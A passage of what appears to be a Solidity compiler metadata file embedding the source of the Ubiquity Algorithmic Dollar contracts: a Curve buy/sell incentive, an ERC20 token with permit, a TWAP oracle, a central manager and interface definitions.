implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/CurveUADIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IUbiquityGovernance.sol\\\";\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./TWAPOracle.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\n\\n/// @title Uniswap trading incentive contract\\n/// @author uAD Protocol\\n/// @dev incentives\\ncontract CurveUADIncentive is IIncentive {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n UbiquityAlgorithmicDollarManager public manager;\\n bool public isSellPenaltyOn = true;\\n bool public isBuyIncentiveOn = true;\\n bytes16 private immutable _one = (uint256(1 ether)).fromUInt();\\n mapping(address => bool) private _exempt;\\n event ExemptAddressUpdate(address indexed _account, bool _isExempt);\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.INCENTIVE_MANAGER_ROLE(), msg.sender),\\n \\\"CurveIncentive: not admin\\\"\\n );\\n _;\\n }\\n modifier onlyUAD() {\\n require(\\n msg.sender == manager.dollarTokenAddress(),\\n \\\"CurveIncentive: Caller is not uAD\\\"\\n );\\n _;\\n }\\n\\n /// @notice CurveIncentive constructor\\n /// @param _manager uAD Manager\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n function incentivize(\\n address sender,\\n address receiver,\\n address,\\n uint256 amountIn\\n ) external override onlyUAD {\\n require(sender != receiver, \\\"CurveIncentive: cannot send self\\\");\\n\\n if (sender == manager.stableSwapMetaPoolAddress()) {\\n _incentivizeBuy(receiver, amountIn);\\n }\\n\\n if (receiver == manager.stableSwapMetaPoolAddress()) {\\n _incentivizeSell(sender, amountIn);\\n }\\n }\\n\\n /// @notice set an address to be exempted from Uniswap trading incentives\\n /// @param account the address to update\\n /// @param isExempt a flag for whether to exempt or unexempt\\n function setExemptAddress(address account, bool isExempt)\\n external\\n onlyAdmin\\n {\\n _exempt[account] = isExempt;\\n emit ExemptAddressUpdate(account, isExempt);\\n }\\n\\n /// @notice switch the sell penalty\\n function switchSellPenalty() external onlyAdmin {\\n isSellPenaltyOn = !isSellPenaltyOn;\\n }\\n\\n /// @notice switch the buy incentive\\n function switchBuyIncentive() external onlyAdmin {\\n isBuyIncentiveOn = !isBuyIncentiveOn;\\n }\\n\\n /// @notice returns true if account is marked as exempt\\n function isExemptAddress(address account) public view returns (bool) {\\n return _exempt[account];\\n }\\n\\n function _incentivizeBuy(address target, uint256 amountIn) internal {\\n _updateOracle();\\n\\n if (isExemptAddress(target) || !isBuyIncentiveOn) {\\n return;\\n }\\n\\n uint256 incentive = _getPercentDeviationFromUnderPeg(amountIn);\\n /* swapping 3CRV (or underlying) for uAD (aka buying uAD) will mint x% of uGOV.\\n Where x = (1- TWAP_Price) * amountIn.\\n E.g. uAD = 0.8, you buy 1000 uAD, you get (1-0.8)*1000 = 200 uGOV */\\n\\n if (incentive != 0) {\\n // this means CurveIncentive should be a minter of UGOV\\n IUbiquityGovernance(manager.governanceTokenAddress()).mint(\\n target,\\n incentive\\n );\\n }\\n }\\n\\n /// @notice returns the percentage of deviation from the peg multiplied by amount\\n // when uAD is <1$\\n function _getPercentDeviationFromUnderPeg(uint256 amount)\\n internal\\n returns (uint256)\\n {\\n _updateOracle();\\n uint256 curPrice = _getTWAPPrice();\\n if (curPrice >= 1 ether) {\\n return 0;\\n }\\n\\n uint256 res =\\n _one\\n .sub(curPrice.fromUInt())\\n .mul((amount.fromUInt().div(_one)))\\n .toUInt();\\n // returns (1- TWAP_Price) * amount.\\n return res;\\n }\\n\\n function _incentivizeSell(address target, uint256 amount) internal {\\n _updateOracle();\\n if (isExemptAddress(target) || !isSellPenaltyOn) {\\n return;\\n }\\n\\n /*\\n WARNING\\n From curve doc :Tokens that take a fee upon a successful transfer may cause the curve pool\\n to break or act in unexpected ways.\\n fei does it differently because they can make sure only one contract has the ability to sell\\n uAD and they control the whole liquidity pool on uniswap.\\n here to avoid problem with the curve pool we execute the transfer as specified and then we\\n take the penalty so if penalty + amount > balance then we revert\\n swapping uAD for 3CRV (or underlying) (aka selling uAD) will burn x% of uAD\\n Where x = (1- TWAP_Price) *100.\\n */\\n\\n uint256 penalty = _getPercentDeviationFromUnderPeg(amount);\\n if (penalty != 0) {\\n require(penalty < amount, \\\"Dollar: burn exceeds trade size\\\");\\n\\n require(\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress())\\n .balanceOf(target) >= penalty + amount,\\n \\\"Dollar: balance too low to get penalized\\\"\\n );\\n UbiquityAlgorithmicDollar(manager.dollarTokenAddress()).burnFrom(\\n target,\\n penalty\\n ); // burn from the recipient\\n }\\n }\\n\\n function _updateOracle() internal {\\n TWAPOracle(manager.twapOracleAddress()).update();\\n }\\n\\n function _getTWAPPrice() internal view returns (uint256) {\\n return\\n TWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0x512fa5651a95b71faa66a4f23390072a82d379ee57c6aa39bb0f8dae46527232\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IIncentive.sol\\\";\\nimport \\\"./ERC20Ubiquity.sol\\\";\\n\\ncontract UbiquityAlgorithmicDollar is ERC20Ubiquity {\\n /// @notice get associated incentive contract, 0 address if N/A\\n mapping(address => address) public incentiveContract;\\n\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n constructor(address _manager)\\n ERC20Ubiquity(_manager, \\\"Ubiquity Algorithmic Dollar\\\", \\\"uAD\\\")\\n {} // solhint-disable-line no-empty-blocks\\n\\n /// @param account the account to incentivize\\n /// @param incentive the associated incentive contract\\n /// @notice only UAD manager can set Incentive contract\\n function setIncentiveContract(address account, address incentive) external {\\n require(\\n ERC20Ubiquity.manager.hasRole(\\n ERC20Ubiquity.manager.UBQ_TOKEN_MANAGER_ROLE(),\\n msg.sender\\n ),\\n \\\"Dollar: must have admin role\\\"\\n );\\n\\n incentiveContract[account] = incentive;\\n emit IncentiveContractUpdate(account, incentive);\\n }\\n\\n function _checkAndApplyIncentives(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal {\\n // incentive on sender\\n address senderIncentive = incentiveContract[sender];\\n if (senderIncentive != address(0)) {\\n IIncentive(senderIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on recipient\\n address recipientIncentive = incentiveContract[recipient];\\n if (recipientIncentive != address(0)) {\\n IIncentive(recipientIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // incentive on operator\\n address operatorIncentive = incentiveContract[msg.sender];\\n if (\\n msg.sender != sender &&\\n msg.sender != recipient &&\\n operatorIncentive != address(0)\\n ) {\\n IIncentive(operatorIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n\\n // all incentive, if active applies to every transfer\\n address allIncentive = incentiveContract[address(0)];\\n if (allIncentive != address(0)) {\\n IIncentive(allIncentive).incentivize(\\n sender,\\n recipient,\\n msg.sender,\\n amount\\n );\\n }\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal override {\\n super._transfer(sender, recipient, amount);\\n _checkAndApplyIncentives(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0xbbde4f7cf669cadae6c303b45c640d12da3cd6e97557c188e2f5cc27b3b7fd4c\",\"license\":\"MIT\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool =\\n ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount =\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this));\\n uint256 uADTokenAmount =\\n IERC20(dollarTokenAddress).balanceOf(address(this));\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts =\\n [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0xc86d80999cdfecfd7228760b8f80d76a9081b40e00b978ac9ae7021a46db56d9\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view 